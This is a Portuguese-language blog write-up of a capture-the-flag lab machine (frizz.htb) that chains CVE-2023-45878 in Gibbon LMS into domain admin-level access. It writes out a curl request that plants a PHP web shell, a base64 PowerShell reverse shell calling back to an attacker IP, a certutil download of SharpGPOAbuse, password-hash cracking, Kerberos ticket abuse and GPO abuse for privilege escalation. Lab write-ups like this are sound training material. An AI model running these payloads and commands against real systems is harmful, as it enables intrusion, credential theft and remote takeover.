CVE-2023-45878 - Arbitrary File Write, Impacket Ticket TGT e GPO Exploit

Gibbon Edu é uma aplicação para gerenciamento administrativo de processos de escolas e instituições de ensino. 

A CVE-2023-45878 foi publicada para a vulnerabilidade Arbitraty File Write onde um atacante desautenticado pode fazer o upload de arquivos, resultando na execução remota de comandos. O arquivo para upload é uma imagem falsa que é processada como um arquivo PHP. 

O módulo Rubrics possui o endpoint /modules/Rubrics/rubrics_visualise_saveAjax.php, o qual pode ser acessado sem autenticação. Esse recurso aceita POST com os seguintes parâmetros: 

  • img
  • path
  • gibbonPersonID


O parâmetro img recebe a imagem em Base64


O parâmetro path é onde o arquivo é armazenado 


Conforme descrito neste artigo AQUI , a seguinte requisição é usada para exploar a vulnerabilidade: 


No Burp Suite, a requisição não funcionou mas ao copiá-la para o comando CURL é possível executar o exploit corretamente. 



RCE 

Adicione Base64 ao código: <?php  system($_GET["cmd"]);  ?>


E faça a requisição para o servidor: 

curl -X POST -H 'Host: frizzdc.frizz.htb' --data-binary 'img=image/png;rce,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyAgPz4K                                   &path=rce.php&gibbonPersonID=0000000001' 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php'


E o código é executando revelando o usuário que executa a aplicação Gibbon. 


Shell Reversa

O servidor é Windows Server, então o código para a shell reversa deverá ser em PowerShell. Criei a shell no site revshells.com

Habilitei o listener na porta 443 e enviei a requisição com o código da shell em base64

Acesso ao servidor com sucesso. 


O acesso é feito no diretório C:\xampp\htdocs\Gibbon-LMS onde o arquivo config.php possui credencial de acesso ao banco de dados da aplicação. 


Acesso a base de dados 

O executável mysql.exe pode ser usado para excutar comandos na base. Acesse o diretório: \xampp\mysql\bin e execute: 

.\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "SHOW DATABASES;"


A tabela gibbonperson mostra a estrutura dos campos e revela os campos: passwordStrong e passwordStrongSalt onde provavelmente a senha é armazenada. 


A senha do usuário f.frizzle é capturada, na verdade, a senha é armazenada como hash e o seu salt. 


Usando a ferramenta hash-identifier, identifiquei que o hash possivelmente está no formato SHA256


Perguntei ao ChatGPT o formato para o arquivo hash para usar o hashcat. 

O módulo do hashcat é 1420 (SHA256) e o formato é <hash_hex>:<salt>. No caso deste laboratório, o salt é armazenado da seguinte forma: /aACFhikmNopqrRTVz2489 Logo, a "barra" no incio deve ser mantida no arquivo salvo para usar no hashcat. 


Senha descoberta por meio de força bruta usando a wordlist rockyou.txt


No SSH, o usuário f.frizzle não tem permissão de acesso, e também não tem acesso por SMB. Pesquisei técnicas para acessar o servidor e esse artigo descreve o uso do Impacket para obter ticket TGT. 

Cenário: O servidor é um controlador de domínio, conforme observado no resultado do nmap scan. O serviço Kerberos localizado nas portas 88 e  464 informam que o servidor é um KDC - Key Distribution Center. 


Impacket para obter TGT

O impacket tem o script getTGT para solicitar o servidor KDC um ticket kerberos para o usuário. De posse da credencial do usuário f.frizzle posso executar essa técnica: 

impacket-getTGT frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' -dc-ip frizzdc.frizz.htb  


O arquivo f.frizzle.ccache é salvo. 

A hora do servidor e da máquina Kali precisam estar sincronizados. Em seguida, crio uma variável apontando para o arquivo ccache. 

export KRB5CCNAME=f.frizzle.ccache

O acesso com SSH será feito usando o ticket kerberos pela opção -k no comando:

A primeira tentativa falhou pois é necessário antes criar o arquivo kbr5.conf em /etc/

Etapas para obter ticket TGT com Impacket

[1] Cria o arquivo kbr5.conf no /etc/

[domain_realm] .frizz.htb = FRIZZ.HTB frizz.htb = FRIZZ.HTB [libdefaults] default_realm = FRIZZ.HTB dns_lookup_realm = false dns_lookup_kdc = true ticket_lifetime = 24h forwardable = true [realms] FRIZZ.HTB = { kdc = FRIZZDC.FRIZZ.HTB admin_server = FRIZZDC.FRIZZ.HTB default_domain = FRIZZ.HTB

[2] Obtém o ticket com o Impacket:
impacket-getTGT frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' -dc-ip frizzdc.frizz.htb
[3] Adiciona o arquivo como variável
export KRB5CCNAME=f.frizzle.ccache
[4] Executa o SSH com kerbero interativo (opção -K)
ssh f.frizzle@frizz.htb -K


Existem vários usuários no servidor.


Como o servidor é um controlador de domónio, tentei usar o BloodHound para mapear o caminho até a escalação de privilégio mas as credenciais coletadas até o momento não permitem a coleta de dados. 

O laboratório pergunta o nome de um arquivo no diretório RecycleBin. O acesso é feito na raiz c:\ com o comando cd '$RECYCLE.BIN'

Para listar o conteúdo, apenas o comando 'dir' não funciona, é preciso usar o 'ls -force'


Recycle Bin 

No Windows, o diretório $Recycle.Bin (ou Recycler nas versões antigas) é onde os arquivos deletados são armazenados temporariamente, antes de serem removidos permanentemente do sistema.
Cada unidade (C:, D:, etc.) possui seu próprio diretório $Recycle.Bin, e dentro dele há subpastas para cada usuário, nomeadas com o SID (Security Identifier), como por exemplo: 

C:\$Recycle.Bin\S-1-5-21-1234567890-123456789-123456789-1001\

Quando um arquivo é deletado, o Windows não o apaga imediatamente.

Em vez disso, ele:

  1. Move o arquivo para a pasta $Recycle.Bin;

  2. Renomeia o arquivo (com prefixo $R);

  3. Cria um arquivo auxiliar (prefixo $I) que guarda metadados sobre o arquivo original.

Ao examinar o conteúdo dessa pasta, você encontrará dois tipos principais de arquivos:

TipoExemplo de nomeFunção
$Rxxxxxxxx.ext$R3A4F.tmp, $RBCDE.txtÉ o arquivo original movido para a lixeira. Contém os dados reais do arquivo deletado.
$Ixxxxxxxx.ext$I3A4F.tmp, $IBCDE.txtÉ o arquivo de informação (metadata). Guarda informações sobre o arquivo $R correspondente.

Os dois têm o mesmo sufixo hexadecimal (ex: $I3A4F.tmp$R3A4F.tmp) para identificar que pertencem ao mesmo item. 

O artigo do hellhandy disponibiliza dois scripts Powershell:

Busca por arquivos deletados no Recyble Bin e Restauração de arquivos: 

$shell = New-Object -ComObject Shell.Application $recycleBin = $shell.Namespace(0xA) $recycleBin.items() | Select-Object Name, Path


Restaurar arquivos:

$recycleBin = (New-Object -ComObject Shell.Application).NameSpace(0xA) $items = $recycleBin.Items() $item = $items | Where-Object {$_.Name -eq "wapt-backup-sunday.7z"} $documentsPath = [Environment]::GetFolderPath("Desktop") $documents = (New-Object -ComObject Shell.Application).NameSpace($documentsPath) $documents.MoveHere($item)



Como exportar o arquivo para a máquina Kali?

Use o SCP para expostar o arquivo: scp 'f.frizzle@frizz.htb:C:/Users/f.frizzle/Desktop/wapt-backup-sunday.7z' wapt-backup-sunday.7z


Descompressão do arquivo:

7z x wapt-backup-sunday.7z 

Busca por senhas, chaves-secretas: 

grep -r 'secret_key'



grep -r 'wapt_password'


O arquivo waptserver.ini possui uma senha encodada em base64.



O teste da senha funcionou apenas para o usuário m.schoolbus, e podemos solicitar ticket TGT para esse usuário também.

Comandos:

[1] Solcita o ticket TGT
get-adgroup "Desktop Admins" -Properties memberOf | Select-Object -ExpandProperty memberOf impacket-getTGT frizz.htb/'m.schoolbus':'!suBcig@MehTed!R' -dc-ip frizzdc.frizz.htb
[2] Cria uma variável
export KRB5CCNAME=m.schoolbus.ccache
[3] Usa SSH para acesso
ssh m.schoolbus@10.10.11.60 -K




Comando para coletar informação sobre o usuário: net user [usuário]


Interessante é o grupo 'Desktop Admins'. Esse não é um grupo padrão do AD, então para ver as propriedades do grupo, usamos o comando: 

get-adgroup "Desktop Admins" -Properties memberOf | Select-Object -ExpandProperty memberOf


Os membros do grupo 'Desktop Admins' tem permissão para gerenciar GPO na máquina (Group Policy Creator Owners).

Definição do que é GPO: Os GPOs (Políticas de Grupo) são conjuntos de configurações de políticas que se aplicam a vários computadores, usuários e grupos em um domínio do Active Directory.


SharpGPOAbuse

O SharpGPOAbuse é um aplicativo .NET escrito em C# que pode ser usado para explorar os direitos de edição de um usuário em um Objeto de Política de Grupo (GPO) a fim de comprometer os objetos controlados por essa GPO.

O executável da ferramenta pode ser baixado neste link

Para transferir o arquivo da máquina Kali para o servidor Windows, usei a ferramenta certutil:

certutil -urlcache -split -f http://10.10.14.6:8989/SharpGPOAbuse.exe C:\Users\M.SchoolBus\Desktop\SharpGPOAbuse.exe

GPO Exploit


A conta m.schoolbus tem permissão para gerenciar GPO na máquina, então a ideia é criar uma GPO e atribuir permissão administrativa.

New-GPO -name '[nome]'


Adicione a GPO ao domínio

New-GPLink -Name "teste" -target "DC=frizz,DC=htb"


Atualiza as políticas de GPO da máquina:

gpoupdate /force

Adiciona o usuário m.schoolbus como local admin da máquina:

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName teste --force


Executa o SharpGPOAbuse para criar uma shell-reversa com a máquina Kali. O mesmo código Powershell usado para acessar o servidor explorando a CVE-2023-45878 pode ser usado.

Neste ponto, tive que criar uma nova GPO, a qual chamei de 'teste-rev'

.\SharpGPOAbuse.exe --addcomputertask --GPOName "teste-rev" --Author "teste" --TaskName "RevShell" --Command "powershell.exe" --Arguments "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"

Acesso ao servidor com sucesso como Administrador local da máquina


Técnicas e ferramentas usadas:

  • Explora a CVE-2023-45878
  • Cria o código em Powershell para a shell-reversa com revshells.com
  • Usa o executável mysql.exe para executar comandos na base de dados
  • Captura o hash SHA2056 da senha e o Salt
  • Cria um arquivo no formato <hex>:<salt>
  • Usa hashcat para o brute-force

Usa o Impacket para solicitar ao servidor KDC ticket TGT usando a credencial da primeira conta "ownada"
            [1] cria o arquivo krb5.conf no /etc

            [2] solicita o ticket TGT com o Impacket

            [3] cria uma variável com o export para o arquivo [nome].ccache

            [4] executa o SSH usando o ticket kerberos (opção -K)

  • Acessa o diretório Recycle Bin e recupera o arquivo Wapt
  • Captura senha no arquivo waptserver.ini
  • Solicita novamente ticket TGT para o novo usuário
  • Identifica o grupo local 'Desktop Admins'
  • Identifica que o grupo pode gerenciar GPO local
  • Cria uma nova GPO
  • Vincula a GPO com o domínio
  • Adiciona o usuário como admin local com SharpGPOAbuse
  • Atualiza as políticas de GPO da máquina
  • Usa SharpGPOAbuse para executar uma shell-reversa com comando powershell e o código usado anteriormente.

#HACKINGBR


Comentários

Postagens mais visitadas